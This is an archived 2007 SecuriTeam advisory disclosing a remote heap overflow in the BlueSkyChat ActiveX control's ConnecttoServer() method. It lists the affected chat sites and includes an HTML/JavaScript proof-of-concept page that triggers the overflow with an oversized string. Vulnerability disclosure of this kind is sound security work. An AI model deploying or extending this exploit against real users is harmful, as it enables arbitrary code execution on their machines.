

[NT] BlueSkyChat ActiveX Remote Heap Overflow vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-08/msg00000.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 1 Aug 2007 09:22:39 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

BlueSkyChat ActiveX Remote Heap Overflow vulnerability

SUMMARY

<<http://www.bluesky.cn/>> BlueSkyChat is "a professional voice and video chat software widely used by large chat websites in China". Remote exploitation of a buffer overflow in an ActiveX control distributed with Bluesky.cn could allow for the execution of arbitrary code.

DETAILS

Vulnerable Systems:

- * BlueSkyChat version 8.1.2.0 (v2.ocx) and prior

When BlueSkyChat are installed, they register the following ActiveX control on the system:

ProgId: V2.V2Ctrl.1
ClassId: 2EA6D939-4445-43F1-A12B-8CB3DDA8B855
File: v2.ocx

This control contains a buffer overflow in its ConnecttoServer() method.

[NT] BlueSkyChat ActiveX Remote Heap Overflow vulnerability

This is a client side vulnerability. So the clients of following chat servers which install the affected BlueSkyChat software are affected.

- * bliao <http://www.bliao.com>
- * qqiao <http://www.qqiao.com>
- * 7liao <http://www.7liao.com>
- * haoliao <http://www.haoliao.net>
- * 51liao <http://chat.51liao.net>
- * heshang <http://www.heshang.net>
- * xicn <http://vchat.xicn.net>
- * CN104 <http://www.cn104.com>
- * liao-tian <http://www.liao-tian.com>
- * aliao <http://www.aliao.net>
- * kuailiao <http://www.kuailiao.com>
- * mtiao <http://www.mtiao.com>
- * pj0427 <http://www.pj0427.com>
- * uighur <http://chat.uighur.cn>
- * wmliao <http://www.wmliao.com>

Exploit:

```
<html>
<head>
<OBJECT ID="com" CLASSID="CLSID:{2EA6D939-4445-43F1-A12B-8CB3DDA8B855}">
</OBJECT>
</head>
<body>
<SCRIPT language="javascript">
```

```
function ClickForRunCalc()
{
var heapSprayToAddress = 0x0d0d0d0d;

var payLoadCode = "A" ;
while (payLoadCode.length <= 10000) payLoadCode+='A';
com.ConnecttoServer("1",payLoadCode,"3","4","5");
}
</script>
<button onclick="javascript:ClickForRunCalc();">ClickForRunCalc</button>
</body>
</html>
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:vulnhunt@xxxxxxxxxx>> Code Audit Labs.

The original article can be found at:

<http://www.vulnhunt.com/advisories/CAL-20070730-1_BlueSkyCat_v2.ocx_ActiveX_remote_heap_overflow_vuln
http://www.vulnhunt.com/advisories/CAL-20070730-1_BlueSkyCat_v2.ocx_ActiveX_remote_heap_overflow_vuln>

[NT] BlueSkyChat ActiveX Remote Heap Overflow vulnerability

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.